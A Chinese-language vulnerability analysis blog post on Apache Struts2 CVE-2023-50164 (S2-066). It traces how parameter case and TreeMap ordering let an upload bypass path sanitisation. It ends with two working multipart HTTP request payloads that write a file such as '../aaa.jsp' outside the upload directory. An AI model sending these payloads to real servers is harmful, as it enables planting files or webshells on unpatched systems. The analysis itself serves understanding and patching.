CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行
2023-12-13 / 共计2999 字
细腻的美好藏在生活的各处
Delicate beauty is hidden in every corner of life.
Struts2发布了新漏洞CVE-2023-50164,apache命名为S2-066。根据cwiki.apache.org描述,该漏洞在文件上传的时候允许攻击者控制参数,进行目录穿越让文件落地到任何位置: 在Github上找到近期的commit,发现对HttpParameters进行了修改,对参数大小写进行了控制,强制将参数都转换成了小写: 在appendAll方法中添加了remove函数,get方法中添加了小写转换:
依据发布的信息,得知S2-066漏洞相关信息如下:
- 漏洞和文件上传有关;
- 控制文件上传路径的参数进行目录穿越,例如../t0ngmystic.jsp;
- 漏洞成因和参数大小写有关;
环境搭建
由于Struts2的一个框架,先使用其搭建一个文件上传的功能,我使用的上传代码如下,Struts2相关配置就不赘述了,只要配置action和filter就能正常使用了,我使用的struts2.5.32:
package com.s2066;
/**
* @Projectname: s2
* @Filename: UpLoad
* @Author: T0ngMystic
* @Data:2023/12/11 12:16
* @Description: unauthorized
*/
import java.io.File;
import java.io.IOException;
import org.apache.commons.io.FileUtils;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.struts2.ServletActionContext;
public class UpLoad extends ActionSupport {
private File file;
private String fileFileName;
private String fileContentType;
public File getFile() {
return file;
}
public void setFile(File file) {
this.file = file;
}
public String getFileFileName() {
return fileFileName;
}
public void setFileFileName(String fileFileName) {
this.fileFileName = fileFileName;
}
public String getFileContentType() {
return fileContentType;
}
public void setFileContentType(String fileContentType) {
this.fileContentType = fileContentType;
}
public String execute() {
try {
// 检查 fileFileName 是否为 null if (fileFileName == null) {
System.out.println("File name is null.");
return ERROR;
}
// 指定文件上传的路径
String filePath = ServletActionContext.getServletContext().getRealPath("/")+"upload/"+ fileFileName;
// 复制文件到指定路径
FileUtils.copyFile(file, new File(filePath));
return SUCCESS;
} catch (IOException e) {
e.printStackTrace();
return ERROR;
}
}
}
漏洞分析
既然是文件上传,可以目录穿越落地任何位置,那么就先试试常用的修改filename的值为“../12222.txt”:
但是发现文件名../12222.txt变成了12222.txt,../被处理了:
在我的UpLoad的代码中并没有处理文件名,根据Struts2的允许流程可知,应该是Struts2的拦截器进行处理了:
由于我并没有添加任何拦截器,那么就是Struts2自带的拦截器进行处理了,在struts2拦截器中找到fileUpload和params两个和文件上传、参数有关的拦截器:
可以看到在org.apache.struts2.interceptor.FileUploadInterceptor中获取了文件的fileParameterName、fileName、file,并且可以看见fileName通过multiWrapper.getFileNames 获取后已经去掉了../:
进行Debug详细查看下怎么回事,可以看到通过如下堆栈调用到了AbstractMultiPartRequest下的getCanonicalName,在getCanonicalName中识别并去除了斜杠符号/和转移符号\\:
getCanonicalName:151, AbstractMultiPartRequest
getFileNames:249, JakartaMultiPartRequest
getFileNames:159, MultiPartRequestWrapper
intercept:280, FileUploadInterceptor
这里直接剔除了../,并且和大小写也没关系。继续跟进FileUploadInterceptor拦截器,后面通过ac.getParameters().appendAll(newParams) 将参数进行保存,而这里的appendAll就是本次commit修改的HttpParameters。开头提到本次的commit在remove中先将参数名都进行了小写处理,在appendAll开头添加上了remove:
那么漏洞s2-066大小写应该就和这里有关了。这里保存了file,fileContentType,fileFileName三个参数,由于ContentType和FileName是拼接固定的,那么能够修改的就只有file了(也就是这里的inputName):
此时就算知道了大小写的位置但就算对file进行了大写也还是没用,../依然会在AbstractMultiPartRequest.getCanonicalName中去除掉 这里的ac.getParameters() 是从上下文中获取com.opensymphony.xwork2.ActionContext.parameters返回HttpParameters对象:
通过分析 FileUploadInterceptor代码与堆栈,得知上下文content中的com.opensymphony.xwork2.ActionContext.parameters是在org.apache.struts2.diapatcher.Dispatcher下的createContextMap方法创建的:
通过Debug得知在org.apache.struts2.diapatcher.Dispatcher中创建上下文时,会将参数提取并保存在com.opensymphony.xwork2.ActionContext.parameters中:
在完成参数获取后,会进入Struts2的com.opensymphony.xwork2.interceptor.ParametersInterceptor拦截器,进行action的参数映射,可以看到在com.opensymphony.xwork2.interceptor.ParametersInterceptor中acceptableParameters为TreeMap,并且存在传入的a=a参数:
在之后又通过OGNL调用action对用方法的set进行参数映射:
Tips:acceptableParameters为TreeMap,而TreeMap是大写优先输出:
到此,可以将原参数name=“file”修改成name=“File”,再添加一个小写的fileFileName,这样在调用set方法时,由于TreeMap在迭代时会先输出大写,这样再输出小写,就能对先前的大写set的参数进行覆盖:
最终完成文件上传: 虽然成功了,但是在OGNL中是区分大小写的啊,为何fileFileName和FileFileName都能够调用UpLoad中的setFileFileName方法。在不断的调试下断点看堆栈,代码运行从com.opensymphony.xwork2.interceptor.ParametersInterceptor—>newStack.setParameter(name, value.getObject()) 到UpLoad—>public void setFileFileName(String fileFileName) 调用过程中找到了OgnlRuntime下的capitalizeBeanPropertyName方法。 在capitalizeBeanPropertyName方法中会提取propertyName的前两个字符进行判断,若首字母为小写,第二个字母为大写直接返回,不然都会将第一个字符转换成大写,进行返回,这样就都成了FileFileName。从而调用UpLoad的setFileFileName方法。:
在将小写转换成大写后,作为baseName传入addIfAccessor方法,通过method.getName判断获取的方法名称是否以baseName结尾,并且还做了长度判断:
根据上述分析的内容可得出payload如下:
POST /upload.action?fileFileName=../aaa.jsp HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=boundary_string
Content-Length: 146
--boundary_string
Content-Disposition: form-data; name="File"; filename="../12267822.txt"
Content-Type: text/plain
test1
--boundary_string--
也支持通过multipart/form-data提交fileFileName参数:
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=boundary_string
Content-Length: 146
--boundary_string
Content-Disposition: form-data; name="File"; filename="../12267822.txt"
Content-Type: text/plain
test1
--boundary_string
Content-Disposition: form-data; name="fileFileName"
Content-Type: text/plain
../aaa.jsp
--boundary_string--
成功上传文件,并绕过FileUploadInterceptor的限制使用../穿越目录落地:
文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!